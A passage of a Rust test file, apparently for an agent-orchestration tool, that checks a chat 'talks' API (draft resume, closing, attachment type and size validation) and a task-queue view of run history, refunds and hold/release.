9163 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9164 );
9165 assert_eq!(first.status, 409, "{}", first.body);
9166 assert_eq!(second.status, 409, "{}", second.body);
9167 let saved = store
9168 .get(&id)
9169 .expect("draft remains after concurrent refusals");
9170 assert!(saved.turns.is_empty());
9171 assert_eq!(saved.pending, "saved before restart");
9172
9173 let resumed = f
9174 .post(&format!("/api/talks/{id}/pending/resume"), None)
9175 .await;
9176 assert_eq!(resumed.status, 202, "{}", resumed.body);
9177 let duplicate = f
9178 .post(&format!("/api/talks/{id}/pending/resume"), None)
9179 .await;
9180 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9181
9182 for _ in 0..SETTLE_STEPS {
9183 if store.get(&id).expect("talk").turns.len() == 2 {
9184 break;
9185 }
9186 tokio::time::sleep(Duration::from_millis(10)).await;
9187 }
9188 let finished = store.get(&id).expect("finished talk");
9189 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9190 assert_eq!(finished.turns[0].body, "saved before restart");
9191 assert!(finished.pending.is_empty());
9192 }
9193
9194 #[tokio::test]
9195 async fn an_image_only_recovered_draft_resumes_without_text() {
9196 let (_tmp, _repo, f) = talk_fixture().await;
9197 let id = f.post("/api/talks", None).await.json()["id"]
9198 .as_str()
9199 .expect("id")
9200 .to_owned();
9201 let uploaded = f
9202 .post_bytes(
9203 &format!("/api/talks/{id}/attachments"),
9204 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9205 PNG_BYTES,
9206 )
9207 .await;
9208 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9209 let attachment = f
9210 .talks()
9211 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9212 .expect("attachment metadata")
9213 .expect("stored attachment");
9214 let store = f.talks();
9215 let mut recovered = store.get(&id).expect("opened talk");
9216 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9217
9218 let resumed = f
9219 .post(&format!("/api/talks/{id}/pending/resume"), None)
9220 .await;
9221 assert_eq!(resumed.status, 202, "{}", resumed.body);
9222 for _ in 0..SETTLE_STEPS {
9223 if store.get(&id).expect("talk").turns.len() == 2 {
9224 break;
9225 }
9226 tokio::time::sleep(Duration::from_millis(10)).await;
9227 }
9228 let finished = store.get(&id).expect("finished talk");
9229 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9230 assert!(finished.turns[0].body.is_empty());
9231 assert_eq!(finished.turns[0].attachments.len(), 1);
9232 assert!(finished.pending_attachments.is_empty());
9233 }
9234
9235 #[tokio::test]
9236 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9237 let (_tmp, _repo, f) = talk_fixture().await;
9238 let id = f.post("/api/talks", None).await.json()["id"]
9239 .as_str()
9240 .expect("id")
9241 .to_owned();
9242 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9243 assert_eq!(closed.status, 200, "{}", closed.body);
9244 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9245 .expect("serialize closed talk");
9246 for (path, body) in [
9247 (format!("/api/talks/{id}/pending/resume"), None),
9248 (
9249 format!("/api/talks/{id}/pending/clear"),
9250 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9251 ),
9252 (
9253 format!("/api/talks/{id}/pending/edit"),
9254 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9255 ),
9256 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9257 ] {
9258 let response = f.post(&path, body).await;
9259 assert_eq!(response.status, 409, "{}", response.body);
9260 }
9261 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9262 .expect("serialize closed talk");
9263 assert_eq!(
9264 after_clear, before_clear,
9265 "clear must not rewrite a closed talk"
9266 );
9267 }
9268
9269 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9272
9273 #[tokio::test]
9274 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9275 let tmp = TempDir::new().expect("tempdir");
9276 let repo = tmp.path().join("repo");
9277 std::fs::create_dir_all(&repo).expect("repo dir");
9278 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9279 let f = Fixture::with_repo(repo).await;
9280 let id_a = f.post("/api/talks", None).await.json()["id"]
9281 .as_str()
9282 .unwrap()
9283 .to_owned();
9284 let id_b = f.post("/api/talks", None).await.json()["id"]
9285 .as_str()
9286 .unwrap()
9287 .to_owned();
9288
9289 let a = f
9290 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9291 .await;
9292 assert_eq!(a.status, 202, "{}", a.body);
9293 assert_eq!(a.json()["thinking"], true);
9294 let b = f
9295 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9296 .await;
9297 assert_eq!(b.status, 202, "{}", b.body);
9298 assert_eq!(b.json()["thinking"], true);
9299
9300 let listed = f.get("/api/talks").await.json();
9301 for id in [&id_a, &id_b] {
9302 let view = listed
9303 .as_array()
9304 .unwrap()
9305 .iter()
9306 .find(|talk| talk["id"] == *id)
9307 .unwrap();
9308 assert_eq!(view["thinking"], true, "{listed}");
9309 }
9310 let repeated = f
9311 .post(
9312 &format!("/api/talks/{id_a}/say"),
9313 Some(r#"{"text":"again"}"#),
9314 )
9315 .await;
9316 assert_eq!(repeated.status, 202, "{}", repeated.body);
9317 assert_eq!(repeated.json()["pending"], "again");
9318 }
9319
9320 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9323
9324 #[tokio::test]
9325 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9326 let f = Fixture::start().await;
9327 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9328
9329 let res = f
9330 .post_bytes(
9331 &format!("/api/talks/{id}/attachments"),
9332 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9333 PNG_BYTES,
9334 )
9335 .await;
9336 assert_eq!(res.status, 201, "{}", res.body);
9337 let body = res.json();
9338 assert_eq!(body["name"], "shot.png");
9339 assert_eq!(body["mime"], "image/png");
9340 assert_eq!(body["bytes"], PNG_BYTES.len());
9341 let att_id = body["id"].as_str().expect("id").to_owned();
9342 assert_eq!(
9343 att_id.len(),
9344 32,
9345 "the id must never be a client-suppliable path: {att_id}"
9346 );
9347
9348 let got = f
9349 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9350 .await;
9351 assert_eq!(got.status, 200, "{}", got.body);
9352 assert_eq!(got.header("content-type"), Some("image/png"));
9353 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9354 assert_eq!(got.bytes, PNG_BYTES);
9355 }
9356
9357 #[tokio::test]
9358 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9359 let f = Fixture::start().await;
9360 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9361
9362 let svg = f
9365 .post_bytes(
9366 &format!("/api/talks/{id}/attachments"),
9367 &[("Content-Type", "image/svg+xml")],
9368 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9369 )
9370 .await;
9371 assert!(
9372 (400..500).contains(&svg.status),
9373 "svg must be refused: {} {}",
9374 svg.status,
9375 svg.body
9376 );
9377 assert!(svg.body.contains("SVG"), "{}", svg.body);
9378
9379 let text = f
9380 .post_bytes(
9381 &format!("/api/talks/{id}/attachments"),
9382 &[("Content-Type", "text/plain")],
9383 b"just some text",
9384 )
9385 .await;
9386 assert!(
9387 (400..500).contains(&text.status),
9388 "an unlisted type must be refused: {} {}",
9389 text.status,
9390 text.body
9391 );
9392
9393 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9396 let big = f
9397 .post_bytes(
9398 &format!("/api/talks/{id}/attachments"),
9399 &[("Content-Type", "image/png")],
9400 &oversized,
9401 )
9402 .await;
9403 assert_eq!(
9404 big.status,
9405 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9406 "{}",
9407 big.body
9408 );
9409 }
9410
9411 #[tokio::test]
9412 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9413 let f = Fixture::start().await;
9414 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9415
9416 let res = f
9419 .post_bytes(
9420 &format!("/api/talks/{id}/attachments"),
9421 &[("Content-Type", "image/png")],
9422 b"<html>not a picture</html>",
9423 )
9424 .await;
9425 assert!((400..500).contains(&res.status), "{}", res.body);
9426 }
9427
9428 #[tokio::test]
9429 async fn an_unknown_attachment_id_is_a_404() {
9430 let f = Fixture::start().await;
9431 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9432
9433 let res = f
9434 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9435 .await;
9436 assert_eq!(res.status, 404, "{}", res.body);
9437 }
9438
9439 #[tokio::test]
9440 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9441 let f = Fixture::start().await;
9442 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9443
9444 let uploaded = f
9445 .post_bytes(
9446 &format!("/api/talks/{id}/attachments"),
9447 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9448 PNG_BYTES,
9449 )
9450 .await;
9451 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9452 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9453
9454 let res = f
9455 .post(
9456 &format!("/api/talks/{id}/say"),
9457 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9458 )
9459 .await;
9460 assert_eq!(res.status, 202, "{}", res.body);
9461 let queued = res.json();
9462 let turns = queued["turns"].as_array().expect("turns array");
9463 assert_eq!(
9464 turns.len(),
9465 1,
9466 "an empty body with an attachment is still a turn: {queued}"
9467 );
9468 assert_eq!(turns[0]["who"], "operator");
9469 assert_eq!(turns[0]["body"], "");
9470 let atts = turns[0]["attachments"]
9471 .as_array()
9472 .expect("attachments array");
9473 assert_eq!(atts.len(), 1);
9474 assert_eq!(atts[0]["id"], att_id);
9475 assert_eq!(atts[0]["mime"], "image/png");
9476
9477 let on_disk = f.talks().get(&id).expect("get");
9480 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9481 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9482 }
9483
9484 #[tokio::test]
9485 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9486 let f = Fixture::start().await;
9487 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9488
9489 let res = f
9490 .post(
9491 &format!("/api/talks/{id}/say"),
9492 Some(&format!(
9493 r#"{{"text":"hi","attachments":["{}"]}}"#,
9494 "a".repeat(32)
9495 )),
9496 )
9497 .await;
9498 assert!((400..500).contains(&res.status), "{}", res.body);
9499 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9500
9501 let on_disk = f.talks().get(&id).expect("get");
9502 assert!(
9503 on_disk.turns.is_empty(),
9504 "a rejected attachment id must not partially record the turn: {:?}",
9505 on_disk.turns
9506 );
9507 }
9508
9509 #[tokio::test]
9510 async fn talk_close_makes_the_talk_refuse_further_turns() {
9511 let f = Fixture::start().await;
9512 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9513
9514 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9515 assert_eq!(closed.status, 200, "{}", closed.body);
9516 assert_eq!(closed.json()["status"], "closed");
9517
9518 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9520 assert_eq!(closed_again.status, 200);
9521 assert_eq!(closed_again.json()["status"], "closed");
9522
9523 let said = f
9524 .post(
9525 &format!("/api/talks/{id}/say"),
9526 Some(r#"{"text":"too late"}"#),
9527 )
9528 .await;
9529 assert_eq!(said.status, 409, "{}", said.body);
9530 }
9531
9532 #[tokio::test]
9533 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9534 let (_tmp, _repo, f) = talk_fixture().await;
9535 let id = f.post("/api/talks", None).await.json()["id"]
9536 .as_str()
9537 .expect("id")
9538 .to_owned();
9539 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9540 assert_eq!(closed.status, 200, "{}", closed.body);
9541
9542 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9543 assert_eq!(reopened.status, 200, "{}", reopened.body);
9544 assert_eq!(reopened.json()["status"], "open");
9545
9546 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9548 assert_eq!(reopened_again.status, 200);
9549 assert_eq!(reopened_again.json()["status"], "open");
9550
9551 let said = f
9552 .post(
9553 &format!("/api/talks/{id}/say"),
9554 Some(r#"{"text":"still there?"}"#),
9555 )
9556 .await;
9557 assert_eq!(
9558 said.status, 202,
9559 "a reopened talk accepts turns again: {}",
9560 said.body
9561 );
9562 }
9563
9564 #[tokio::test]
9565 async fn talk_reopen_on_an_unknown_id_is_404() {
9566 let f = Fixture::start().await;
9567 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9568 assert_eq!(res.status, 404, "{}", res.body);
9569 }
9570
9571 #[tokio::test]
9572 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9573 let f = Fixture::start().await;
9574 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9575
9576 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9577 assert_eq!(deleted.status, 204, "{}", deleted.body);
9578
9579 let after = f.get(&format!("/api/talks/{id}")).await;
9580 assert_eq!(after.status, 404, "{}", after.body);
9581
9582 let listed = f.get("/api/talks").await.json();
9583 assert!(
9584 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9585 "a deleted talk must not linger in the list: {listed}"
9586 );
9587 }
9588
9589 #[tokio::test]
9590 async fn talk_delete_on_an_unknown_id_is_404() {
9591 let f = Fixture::start().await;
9592 let res = f.delete("/api/talks/nonexistent-id").await;
9593 assert_eq!(res.status, 404, "{}", res.body);
9594 }
9595
9596 #[tokio::test]
9600 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9601 let f = Fixture::start().await;
9602 let (a, b, gone) = (
9603 "20260902-140501-aaaa",
9604 "20260902-140502-bbbb",
9605 "20260902-140503-cccc",
9606 );
9607 write_run(&f.runs(), a, RunStatus::Stalled);
9608 let mut review = RunState::new(
9609 PathBuf::from("/repo/magi"),
9610 "main".to_owned(),
9611 "0123456789abcdef".to_owned(),
9612 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9613 .to_owned(),
9614 Config::default(),
9615 );
9616 review.id = b.to_owned();
9617 review.status = RunStatus::Merged;
9618 write_state(&f.runs(), &review);
9619
9620 let mut task = Task::new(
9621 "retry".to_owned(),
9622 "Do the thing".to_owned(),
9623 PathBuf::from("/repo/magi"),
9624 Source::Human,
9625 );
9626 task.start(a.to_owned());
9627 task.stall("quota");
9628 task.start(a.to_owned());
9629 task.start(b.to_owned());
9630 task.start(gone.to_owned());
9631 f.queue().put(&mut task).expect("file the task");
9632
9633 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9634 assert_eq!(res.status, 200, "{}", res.body);
9635 let v = res.json();
9636 let h = v["history"].as_array().expect("history");
9637 assert_eq!(h.len(), 4, "{v}");
9638 assert_eq!(h[0]["kind"], "competition");
9639 assert_eq!(h[0]["status"], "stalled");
9640 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9641 assert_eq!(h[1]["kind"], "resume", "{v}");
9642 assert!(
9643 h[0]["outcome"]
9644 .as_str()
9645 .unwrap()
9646 .contains("unknown. Pass #2"),
9647 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9648 );
9649 assert!(
9650 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9651 "{v}"
9652 );
9653 assert!(
9654 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9655 "an unrecorded cause must not be narrated as an operator park: {v}"
9656 );
9657 assert_eq!(h[2]["kind"], "review");
9658 assert!(
9659 h[2]["description"]
9660 .as_str()
9661 .unwrap()
9662 .contains("magi/aaaa/A")
9663 );
9664 assert_eq!(h[2]["status"], "merged");
9665 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9666 assert_eq!(v["runs_unreadable"], 1);
9667 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9668 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9669 assert_eq!(nodes[4]["note"], "unreadable");
9670 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9671 assert_eq!(v["instruction"], "Do the thing");
9672 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9673
9674 let run = f.get(&format!("/api/runs/{a}")).await.json();
9676 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9677
9678 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9679 }
9680
9681 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9682 let mut s = RunState::new(
9683 PathBuf::from("/repo/magi"),
9684 "main".to_owned(),
9685 "0123456789abcdef".to_owned(),
9686 "Do it".to_owned(),
9687 Config::default(),
9688 );
9689 s.status = status;
9690 edit(&mut s);
9691 s
9692 }
9693
9694 fn flow_task(runs: &[&str]) -> Task {
9695 let mut t = Task::new(
9696 "t".to_owned(),
9697 "Do it".to_owned(),
9698 PathBuf::from("/repo/magi"),
9699 Source::Human,
9700 );
9701 for r in runs {
9702 t.start((*r).to_owned());
9703 }
9704 t
9705 }
9706
9707 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9708 let h = task_history(task, |id| {
9709 states
9710 .iter()
9711 .find(|(i, _)| *i == id)
9712 .and_then(|(_, s)| s.clone())
9713 });
9714 task_flow(task, &h, 5)
9715 }
9716
9717 #[test]
9718 fn flow_opens_with_the_chat_that_queued_the_task() {
9719 let mut t = flow_task(&[]);
9720 t.source = Source::Agent {
9721 run: "a b/c".to_owned(),
9722 node: crate::queue::CHAT_NODE.to_owned(),
9723 };
9724 let f = flow_for(&t, &[]);
9725 assert_eq!(f.nodes[0].key, "chat");
9726 assert_eq!(f.nodes[0].kind, "chat");
9727 assert_eq!(
9728 f.nodes[0].label,
9729 format!("Chat {}", crate::queue::short("a b/c"))
9730 );
9731 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9732 assert_eq!(f.nodes[1].key, "start");
9733 assert_eq!(
9734 f.edges[0],
9735 FlowEdge {
9736 from: "chat".to_owned(),
9737 to: "start".to_owned(),
9738 label: "queued from chat".to_owned(),
9739 attempt: AttemptCost::None,
9740 }
9741 );
9742 }
9743
9744 #[test]
9745 fn flow_has_no_chat_box_for_other_sources() {
9746 for source in [
9747 Source::Human,
9748 Source::Issue {
9749 number: 3,
9750 repo: "o/r".to_owned(),
9751 },
9752 Source::Agent {
9753 run: "20260904-014455-ab12".to_owned(),
9754 node: "implement".to_owned(),
9755 },
9756 ] {
9757 let mut t = flow_task(&[]);
9758 t.source = source;
9759 let f = flow_for(&t, &[]);
9760 assert_eq!(f.nodes[0].key, "start");
9761 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9762 assert!(f.edges.iter().all(|e| e.from != "chat"));
9763 }
9764 }
9765
9766 const FA: &str = "20260902-140501-aaaa";
9767 const FB: &str = "20260902-140502-bbbb";
9768
9769 #[test]
9770 fn flow_follows_blocked_retry_merged_to_done() {
9771 let mut t = flow_task(&[FA, FB]);
9772 t.status = TaskStatus::Done;
9773 let f = flow_for(
9774 &t,
9775 &[
9776 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9777 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9778 ],
9779 );
9780 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9781 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9782 assert_eq!(f.edges.len(), 3);
9783 assert_eq!(f.edges[0].label, "claimed");
9784 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9785 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9786 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9787 assert_eq!(
9788 f.nodes[2].href.as_deref(),
9789 Some("#/runs/20260902-140502-bbbb")
9790 );
9791 assert!(f.nodes[2].decided);
9792 }
9793
9794 #[test]
9795 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9796 let quota = || {
9797 flow_run(RunStatus::Stalled, |s| {
9798 s.quota.push(crate::run::QuotaLoss {
9799 seat: "judge-1".to_owned(),
9800 node: "judge".to_owned(),
9801 at: Timestamp::now(),
9802 reset: None,
9803 })
9804 })
9805 };
9806 let mut t = flow_task(&[FA, FA]);
9807 t.status = TaskStatus::Queued;
9808 let f = flow_for(&t, &[(FA, Some(quota()))]);
9809 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9810 assert_eq!(f.nodes[1].note, Some("interrupted"));
9811 assert_eq!(
9812 f.nodes[1].status, None,
9813 "no outcome copied onto an earlier pass"
9814 );
9815 assert_eq!(
9816 f.edges[1].attempt,
9817 AttemptCost::Unknown,
9818 "a resume does not prove the earlier pass was refunded"
9819 );
9820 assert!(f.edges[1].label.contains("resume the same run"));
9821 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9822 assert_eq!(
9823 f.edges[2].label,
9824 "stalled after a resume, refund unknown \u{2192} queued"
9825 );
9826 assert!(!f.nodes[2].decided, "a stall is not a decision");
9827 assert_eq!(f.nodes[2].note, Some("no verdict"));
9828 }
9829
9830 #[test]
9831 fn flow_single_pass_quota_stall_is_refunded() {
9832 let t = flow_task(&[FA]);
9833 let f = flow_for(
9834 &t,
9835 &[(
9836 FA,
9837 Some(flow_run(RunStatus::Stalled, |s| {
9838 s.quota.push(crate::run::QuotaLoss {
9839 seat: "judge-1".to_owned(),
9840 node: "judge".to_owned(),
9841 at: Timestamp::now(),
9842 reset: None,
9843 })
9844 })),
9845 )],
9846 );
9847 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9848 }
9849
9850 #[test]
9851 fn flow_parked_refunds_and_stall_without_quota_spends() {
9852 let mut t = flow_task(&[FA]);
9853 t.status = TaskStatus::Queued;
9854 let f = flow_for(
9855 &t,
9856 &[(
9857 FA,
9858 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9859 )],
9860 );
9861 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9862 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9863 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9864 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9865 assert!(!f.nodes[1].decided);
9866 }
9867
9868 #[test]
9869 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9870 let t = flow_task(&[FA, FB]);
9871 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9872 assert_eq!(f.nodes[1].note, Some("unreadable"));
9873 assert!(!f.nodes[1].readable);
9874 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9875 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9876 }
9877
9878 #[test]
9879 fn flow_names_the_branch_of_a_review_only_run() {
9880 let t = flow_task(&[FA]);
9881 let f = flow_for(
9882 &t,
9883 &[(
9884 FA,
9885 Some(flow_run(RunStatus::Merged, |s| {
9886 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9887 })),
9888 )],
9889 );
9890 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9891 assert_eq!(
9892 f.nodes[1].detail.as_deref(),
9893 Some("review-only run of branch magi/x/A")
9894 );
9895 }
9896
9897 #[test]
9898 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9899 let mut t = flow_task(&[FA]);
9900 t.status = TaskStatus::Held;
9901 let pr = crate::run::PrRecord {
9902 url: "https://example.test/pr/1".to_owned(),
9903 number: 1,
9904 state: "open".to_owned(),
9905 checks: "green".to_owned(),
9906 round: 0,
9907 rounds: 3,
9908 red_at_merge: Vec::new(),
9909 };
9910 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9911 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9912 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9913 t.status = TaskStatus::Done;
9914 let f = flow_for(&t, &[(FA, Some(blocked))]);
9915 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9916 }
9917
9918 #[test]
9919 fn flow_with_no_runs_goes_from_queued_to_queued() {
9920 let t = flow_task(&[]);
9921 let f = flow_for(&t, &[]);
9922 assert_eq!(f.nodes.len(), 2);
9923 assert_eq!(f.edges.len(), 1);
9924 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9925 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9926 }
9927
9928 #[test]
9931 fn a_parked_non_terminal_run_is_explained_as_parked() {
9932 let mut s = RunState::new(
9933 PathBuf::from("/repo/magi"),
9934 "main".to_owned(),
9935 "0123456789abcdef".to_owned(),
9936 "Do it".to_owned(),
9937 Config::default(),
9938 );
9939 s.status = RunStatus::Implementing;
9940 s.parked = true;
9941 let task = Task::new(
9942 "t".to_owned(),
9943 "Do it".to_owned(),
9944 PathBuf::from("/repo/magi"),
9945 Source::Human,
9946 );
9947 let v = task_run_view(
9948 "20260902-140501-aaaa",
9949 Some(&s),
9950 RunSlot {
9951 n: 1,
9952 resumed: false,
9953 resumed_later: None,
9954 prior: None,
9955 last: true,
9956 },
9957 &task,
9958 );
9959 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9960 }
9961
9962 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9963 let mut s = flow_run(RunStatus::Implementing, edit);
9964 s.parked = false;
9965 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9966 task_run_view(
9967 "20260902-140501-aaaa",
9968 Some(&s),
9969 RunSlot {
9970 n: 1,
9971 resumed: false,
9972 resumed_later: Some(2),
9973 prior: None,
9974 last: false,
9975 },
9976 &task,
9977 )
9978 }
9979
9980 #[test]
9981 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9982 let v = earlier_pass_view(|_| {});
9983 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9984 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9985 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9986 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9987 assert_eq!(v.exit, RunExit::Interrupted);
9988 assert_eq!(v.attempt, AttemptCost::Unknown);
9989 }
9990
9991 #[test]
9992 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9993 let v = earlier_pass_view(|s| {
9994 s.quota.push(crate::run::QuotaLoss {
9995 seat: "judge-1".to_owned(),
9996 node: "judge".to_owned(),
9997 at: Timestamp::now(),
9998 reset: None,
9999 });
10000 });
10001 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10002 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10003 assert_eq!(v.attempt, AttemptCost::Unknown);
10004 }
10005
10006 #[test]
10007 fn the_current_pass_states_its_recorded_cause_and_cost() {
10008 let slot = || RunSlot {
10009 n: 1,
10010 resumed: false,
10011 resumed_later: None,
10012 prior: None,
10013 last: true,
10014 };
10015 let task = flow_task(&["20260902-140501-aaaa"]);
10016 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10017 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10018 assert_eq!(
10019 (v.exit, v.attempt),
10020 (RunExit::Parked, AttemptCost::Refunded)
10021 );
10022 let spent = flow_run(RunStatus::Blocked, |_| {});
10023 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10024 assert_eq!(v.attempt, AttemptCost::Spent);
10025 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10026 }
10027
10028 #[tokio::test]
10029 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10030 let f = Fixture::start().await;
10031 let queue = f.queue();
10032 let mut task = Task::new(
10033 "spent".to_owned(),
10034 "Try again".to_owned(),
10035 PathBuf::from("/repo/magi"),
10036 Source::Human,
10037 );
10038 task.start("20260902-140502-bbbb".to_owned());
10039 task.fail("agent gave up", 9);
10040 queue.put(&mut task).expect("file the task");
10041
10042 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10043 assert_eq!(held.status, 200);
10044 assert_eq!(held.json()["status_str"], "held");
10045
10046 let released = f
10047 .post(&format!("/api/queue/{}/release", task.id), None)
10048 .await;
10049 assert_eq!(released.status, 200);
10050 assert_eq!(released.json()["status_str"], "queued");
10051 assert_eq!(
10052 released.json()["attempts"],
10053 0,
10054 "release is a real second chance, not an instant re-hold"
10055 );
10056 assert_eq!(
10057 queue.get(&task.id).expect("reload").status,
10058 TaskStatus::Queued,
10059 "the change is on disk, not only in the reply"
10060 );
10061 assert!(
10062 !f.home
10063 .path()
10064 .join("queue")
10065 .join(format!("{}.lock", task.id))
10066 .exists(),
10067 "the claim the mutation took is released again"
10068 );
10069 }
10070
10071 #[tokio::test]
10072 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10073 let f = Fixture::start().await;
10074 let queue = f.queue();
10075 let mut task = Task::new(
10076 "busy".to_owned(),
10077 "Running right now".to_owned(),
10078 PathBuf::from("/repo/magi"),
10079 Source::Human,
10080 );
10081 queue.put(&mut task).expect("file the task");
10082 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10083
